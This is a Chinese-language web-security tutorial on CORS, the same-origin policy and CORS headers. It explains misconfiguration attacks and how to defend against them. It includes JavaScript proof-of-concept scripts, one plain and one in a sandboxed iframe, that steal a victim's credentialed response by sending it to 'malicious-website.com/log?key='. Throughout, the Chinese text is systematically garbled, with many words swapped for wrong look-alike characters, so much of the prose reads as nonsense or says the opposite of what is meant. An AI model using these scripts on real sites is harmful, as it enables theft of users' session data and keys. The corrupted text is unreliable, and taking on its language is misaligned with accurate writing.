Cross-origin resource sharing (CORS)
在本节中,咱们将解释什么是跨域资源共享(CORS
),并形容一些基于 CORS
的常见攻打示例,以及探讨如何进攻这些攻打。
CORS(跨域资源共享)是什么?
CORS
(跨域资源共享)是一种浏览器机制,它容许对位于以后拜访域之外的资源进行受控拜访。它扩大并减少了同源策略的灵活性。然而,如果一个网站的 CORS
策略配置和实现不当,它也可能导致基于跨域的攻打。CORS
不是针对跨源攻打(例如跨站申请伪造 CSRF
)的爱护。
Same-origin policy(同源策略)
同源策略是一种限制性的跨域标准,它限度了网站与源域之外资源交互的能力。同源策略是多年前定义的,用于应答潜在的歹意跨域交互,例如一个网站从另一个网站窃取私人数据。它通常容许域向其余域发出请求,但不容许拜访响应。
更多内容可参考下本 Same-origin-policy。
同源策略的放宽
同源策略具备很大的限制性,因而人们设计了很多办法去躲避这些限度。许多网站与子域或第三方网站的交互方式要求齐全的跨域拜访。应用跨域资源共享(CORS
)能够有管制地放宽同源策略。
CORS
协定应用一组 HTTP header 来定义可信的 web 域和相干属性,例如是否容许通过身份验证的拜访。浏览器和它试图拜访的跨域网站之间进行这些 header 的替换。
更多内容可参考下文 CORS and the Access-Control-Allow-Origin response header。
CORS 配置不当引发的破绽
当初许多网站应用 CORS
来容许来自子域和可信的第三方的拜访。他们对 CORS
的实现可能蕴含有谬误或过于放宽,这可能导致可利用的破绽。
服务端 ACAO 间接返回客户端的 Origin
有些应用程序须要容许很多其它域的拜访。保护一个容许域的列表须要付出继续的致力,任何过错都有可能造成毁坏。因而,应用程序可能应用一些更加简略的办法来达到最终目标。
一种办法是从申请头中读取 Origin
,而后将其作为 Access-Control-Allow-Origin
响应头返回。例如,应用程序承受了以下申请:
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
而后,其响应:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
响应头表明容许从申请域进行拜访,并且跨域申请能够包含 cookies(Access-Control-Allow-Credentials: true
),因而浏览器将会在会话中进行解决。
因为应用程序在 Access-Control-Allow-Origin
头中间接返回了申请域,这意味着任何域都能够拜访资源。如果响应中蕴含了任何敏感信息,如 API key 或者 CSRF token 则都能够被获取,你能够在你的网站上搁置以下脚本进行检索:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {location='//malicious-website.com/log?key='+this.responseText;};
Origin 解决破绽
某些应用程序应用白名单机制来实现可信起源的拜访容许。当收到 CORS 申请时,将申请头中的 origin 与白名单进行比拟,如果在白名单中,则在 Access-Control-Allow-Origin
头中返回申请的 origin 以容许其跨域拜访。例如,应用程序收到了如下的申请:
GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com
应用程序查看白名单列表,如果 origin 在表中,则响应:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com
在实现 CORS origin 白名单时很可能会犯一些失误。某个组织决定容许从其所有子域(包含尚未存在的将来子域)进行拜访。应用程序容许从其余组织的域(包含其子域)进行拜访。这些规定通常通过匹配 URL 前缀或后缀,或应用正则表达式来实现。实现中的任何失误都可能导致拜访权限被授予意外的内部域。
例如,假如应用程序容许以下结尾的所有域的拜访权限:
normal-website.com
攻击者则能够通过注册以下域来取得拜访权限(结尾匹配):
hackersnormal-website.com
或者应用程序容许以下结尾的所有域的拜访权限:
normal-website.com
攻击者则能够应用以下域取得拜访权限(结尾匹配):
normal-website.com.evil-user.net
Origin 白名单容许 null 值
浏览器会在以下状况下发送值为 null 的 Origin 头:
- 跨站点重定向
- 来自序列化数据的申请
- 应用
file:
协定的申请 - 沙盒中的跨域申请
某些应用程序可能会在白名单中容许 null 以不便本地开发。例如,假如应用程序收到了以下跨域申请:
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null
服务器响应:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
在这种状况下,攻击者能够应用各种技巧生成 Origin 为 null 的申请以通过白名单,从而取得拜访权限。例如,能够应用 iframe
沙盒进行跨域申请:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {location='malicious-website.com/log?key='+this.responseText;};
</script>"></iframe>
通过 CORS 信赖关系利用 XSS
CORS
会在两个域之间建设信赖关系,即便 CORS
是正确的配置,然而如果某个受信赖的网站存在 XSS 破绽,那么攻击者就能够利用 XSS 破绽注入脚本,进而从受信赖的网站上获取敏感信息。
假如申请为:
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...
如果服务器响应:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
那么攻击者能够通过 subdomain.vulnerable-website.com
网站上的 XSS 破绽去获取一些敏感数据:
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>
应用配置有问题的 CORS 中断 TLS
假如一个严格应用 HTTPS 的应用程序也通过白名单信赖了一个应用 HTTP 的子域。例如,当应用程序收到以下申请时:
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...
应用程序响应:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
在这种状况下,可能拦挡受害者用户流量的攻击者能够利用 CORS 来毁坏受害者与应用程序的失常交互。攻打步骤如下:
- 受害者用户收回任何纯 HTTP 申请。
- 攻击者将重定向注入到:
http://trusted-subdomain.vulnerable-website.com
- 受害者的浏览器遵循重定向。
- 攻击者截获纯 HTTP 申请,返回伪造的响应给受害者,并收回歹意的 CORS 申请给:
https://vulnerable-website.com
- 受害者的浏览器收回 CORS 申请,origin 为:
http://trusted-subdomain.vulnerable-website.com
- 应用程序容许申请,因为这是一个白名单域,申请的敏感数据在响应中返回。
- 攻击者的坑骗页面能够读取敏感数据并将其传输到攻击者管制下的任何域。
即便易受攻击的网站对 HTTPS 的应用没有破绽,并且没有 HTTP 端点,同时所有 Cookie 都标记为平安,此攻打也是无效的。
内网和无凭证的 CORS
大部分 CORS
攻打都须要以下响应头的存在:
Access-Control-Allow-Credentials: true
没有这个响应头,受害者的浏览器将不会发送 cookies,这意味着攻击者只能拜访无需用户验证的内容,而这些内容间接拜访指标网站就能够轻松取得。
然而,有一种状况下攻击者无奈间接拜访网站:网站是内网,并且是公有 IP 地址空间。内网的平安规范通常低于外网,这使得攻击者发现破绽后能够取得进一步的拜访权限。例如,某个公有网络中的跨域申请:
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com
服务器响应:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
服务器信赖所有起源的跨域申请,而且无需凭证。如果公有 IP 地址空间内的用户拜访公共互联网,则能够从内部站点执行基于 CORS 的攻打,该站点应用受害者的浏览器作为拜访内网资源的代理。
如何防护基于 CORS 的攻打
CORS
破绽次要是因为谬误的配置而产生的,因而防护措施次要也是如何进行正确配置的问题。上面将会形容一些无效的办法。
跨域申请的正确配置
如果 web 资源蕴含敏感信息,那么应该在 Access-Control-Allow-Origin
头中申明容许的起源。
只容许受信赖的站点
Access-Control-Allow-Origin
头只能是受信赖的站点。Access-Control-Allow-Origin
间接应用跨域申请的 origin 而不验证是很容易被利用的,应该防止。
白名单中防止 null
防止 Access-Control-Allow-Origin: null
。来自外部文档和沙盒申请的跨域资源调用能够指定 origin 为 null 的。CORS 头应该依据公有和公共服务器的可信起源正确定义。
防止在外部网络中应用通配符
防止在外部网络中应用通配符。当外部浏览器能够拜访不受信赖的内部域时,仅仅依附网络配置来爱护外部资源是不够的。
CORS 不是服务端安全策略的替代品
CORS
定义的只是浏览器行为,永远不能代替服务端对敏感数据的爱护,毕竟攻击者能够间接在其它环境中伪造来自任何 origin 的申请。因而,除了正确配置的 CORS 之外,web 服务端依然须要应用诸如身份验证和会话治理等措施对敏感数据进行爱护。
Same-origin policy (SOP) – 同源策略
在本节中,咱们将解释什么是同源策略以及它是如何实现的。
什么是同源策略?
同源策略是一种旨在避免网站互相攻击的 web 浏览器的平安机制。
同源策略限度一个源上的脚本拜访另一个源的数据。
Origin 源由三个局部组成:schema
、domain
、port
,所谓的同源就是要求这三个局部全副雷同。例如上面这个 URL:
http://normal-website.com/example/example.html
其 schema
是 http,domain
是 normal-website.com
,port
是 80。下表显示了如果上述 URL 中的内容尝试拜访其它源将会是什么状况:
拜访的 URL | 是否能够拜访 |
---|---|
http://normal-website.com/example/ |
是,同源 |
http://normal-website.com/example2/ |
是,同源 |
https://normal-website.com/example/ |
否: scheme 和 port 都不同 |
http://en.normal-website.com/example/ |
否: domain 不同 |
http://www.normal-website.com/example/ |
否: domain 不同 |
http://normal-website.com:8080/example/ |
否: port 不同 * |
*IE 浏览器将会容许拜访,因为 IE 浏览器在利用同源策略时不思考端口号。
为什么同源策略是必要的?
当浏览器从一个源发送 HTTP 申请到另一个源时,与另一个源相干的任何 cookie(包含身份验证会话 cookie)也将会作为申请的一部分一起发送。这意味着响应将在用户会话中返回,并蕴含此特定用户的相干数据。如果没有同源策略,如果你拜访了一个歹意网站,它将可能读取你 GMail 中的电子邮件、Facebook 上的私人音讯等。
同源策略是如何施行的?
同源策略通常管制 JavaScript 代码对跨域加载的内容的拜访。通常容许页面资源的跨域加载。例如,同源策略容许通过 <img>
标签嵌入图像,通过 <video>
标签嵌入媒体、以及通过 <script>
标签嵌入 JavaScript。然而,页面只能加载这些内部资源,页面上的任何 JavaScript 都无奈读取这些资源的内容。
同源策略也有一些例外:
- 有些对象跨域可写入但不可读,例如
location
对象,或者来自 iframes 或新窗口的location.href
属性。 - 有些对象跨域可读但不可写,例如
window
对象的length
属性和closed
属性。 - 在
location
对象上能够跨域调用replace
函数。 - 你能够跨域调用某些函数。例如,你能够在一个新窗口上调用
close
、blur
、focus
函数。也能够在 iframes 和新窗口上postMessage
函数以将音讯从一个域发送到另一个域。
因为历史遗留,在解决 cookie 时,同源策略更为宽松,通常能够从站点的所有子域拜访它们,即便每个子域并不满足同源的要求。你能够应用 HttpOnly
肯定水平缓解这个危险。
应用 document.domain
能够放宽同源策略,这个非凡属性容许放宽特定域的同源策略,但前提是它是 FQDN(fully qualified domain name)的一部分。例如,你有一个域名 marketing.example.com
,并且你想读取 example.com
域的内容。为此,两个域都须要设置 document.domain
为 example.com
,那么同源策略将会容许这里两个域之间的拜访,只管它们并不同源。在过来,你能够将 document.domain
设置为顶级域名如 com
,以容许同一个顶级域名上的任何域之间的拜访,然而古代浏览器曾经不容许这么做了。
CORS 和 Access-Control-Allow-Origin 响应头
在本节中,咱们将解释无关 CORS
的 Access-Control-Allow-Origin
响应头,以及后者如何形成 CORS
实现的一部分。
CORS
通过应用一组 HTTP 头部提供了同源策略的可管制放宽,浏览器容许拜访基于这些头部的跨域申请的响应。
什么是 Access-Control-Allow-Origin 响应头?
Access-Control-Allow-Origin
响应头标识了跨域申请容许的申请起源,浏览器会将 Access-Control-Allow-Origin
与申请网站 origin 进行比拟,如果两者匹配则容许拜访响应。
实现简略的 CORS
CORS
标准规定了 web 服务器和浏览器之间替换的头内容,其中 Access-Control-Allow-Origin
是最重要的。当网站发动跨域资源申请时,浏览器将会主动增加 Origin
头,随后服务器返回 Access-Control-Allow-Origin
响应头。
例如,origin 为 normal-website.com
的网站发动了如下跨域申请:
GET /data HTTP/1.1
Host: robust-website.com
Origin : https://normal-website.com
服务器响应:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
浏览器将会容许 normal-website.com
网站代码拜访响应,因为 Access-Control-Allow-Origin
与 Origin
匹配。
Access-Control-Allow-Origin
容许多个域,或者 null
,或者通配符 *
。然而没有浏览器反对多个 origin,且通配符的应用有限度。
带凭证的跨域资源申请
跨域资源申请的默认行为是传递申请时不会携带如 cookies 和 Authorization 头等凭证的。然而,对于带凭证的跨域申请,服务器通过设置 Access-Control-Allow-Credentials: true
响应头能够容许浏览器读取响应。例如,某个网站应用 JavaScript 去管制发动申请时一起发送 cookies:
GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>
失去的响应为:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true
那么浏览器将会容许发动申请的网站读取响应,因为 Access-Control-Allow-Credentials
设置为了 true
。否则,浏览器将不容许拜访响应。
应用通配符放宽 CORS
Access-Control-Allow-Origin
头反对应用通配符 *
,如
Access-Control-Allow-Origin: *
留神:通配符不能与其余值一起应用,如下形式是非法的:
Access-Control-Allow-Origin: https://*.normal-website.com
侥幸的是,基于平安思考,通配符的应用是有限度的,你不能同时应用通配符与带凭证的跨域传输。因而,以下模式的服务器响应是不容许的:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
因为这是十分危险的,这等于向所有人公开指标网站上所有通过身份验证的内容。
预检
为了爱护遗留资源不受 CORS 容许的扩大申请的影响,预检也是 CORS 标准中的一部分。在某些状况下,当跨域申请包含非标准的 HTTP method 或 header 时,在进行跨域申请之前,浏览器会先发动一次 method 为 OPTIONS
的申请,并且对服务端响应的 Access-Control-*
之类的头进行初步查看,比照 origin、method 和 header 等等,这就叫预检。
例如,对应用 PUT
办法和 Special-Request-Header
自定义申请头的预检申请为:
OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
服务器可能响应:
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
这个响应的含意:
Access-Control-Allow-Origin
容许的申请域。Access-Control-Allow-Methods
容许的申请办法。Access-Control-Allow-Headers
容许的申请头。Access-Control-Allow-Credentials
容许带凭证的申请。Access-Control-Max-Age
设置预检响应的最大缓存工夫,通过缓存缩小预检申请减少的额定的 HTTP 申请往返的开销。
CORS 能避免 CSRF 吗?
CORS 无奈提供对跨站申请伪造(CSRF)攻打的防护,这是一个容易呈现误会的中央。
CORS 是对同源策略的受控放宽,因而配置不当的 CORS 实际上可能会减少 CSRF 攻打的可能性或加剧其影响。